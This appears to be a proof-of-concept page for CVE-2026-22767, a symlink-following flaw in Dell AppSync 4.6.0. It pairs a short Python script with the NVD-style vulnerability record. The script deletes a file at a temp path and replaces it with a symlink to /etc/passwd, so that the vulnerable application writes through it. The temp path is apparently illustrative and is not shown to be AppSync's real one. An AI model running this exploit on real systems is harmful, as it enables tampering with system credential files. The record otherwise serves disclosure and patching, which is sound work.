CVE-2026-22767

import os # Proof of Concept (PoC) for Symlink Following Vulnerability # This script demonstrates how an attacker might create a malicious symlink. # Define the target sensitive file (e.g., a system config) TARGET_FILE = "/etc/passwd" # Define the location where the vulnerable app expects to write VULNERABLE_PATH = "/tmp/app_sync_data.tmp" def create_malicious_symlink(): try: # Remove existing link or file if present if os.path.exists(VULNERABLE_PATH): os.remove(VULNERABLE_PATH) # Create the symbolic link os.symlink(TARGET_FILE, VULNERABLE_PATH) print(f"[+] Success: Created symlink '{VULNERABLE_PATH}' pointing to '{TARGET_FILE}'") print("[+] Waiting for the vulnerable application (Dell AppSync) to interact with the symlink...") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": create_malicious_symlink()

{"cve": {"id": "CVE-2026-22767", "sourceIdentifier": "[email protected]", "published": "2026-04-01T13:16:33.150", "lastModified": "2026-04-02T16:55:42.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell AppSync, version(s) 4.6.0, contain(s) an UNIX Symbolic Link (Symlink) Following vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:appsync:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0.0", "versionEndExcluding": "4.6.1.0", "matchCriteriaId": "27464B6B-D2A8-48ED-A83B-404A6870E6D6"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000446965/dsa-2026-163-security-update-for-dell-appsync-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}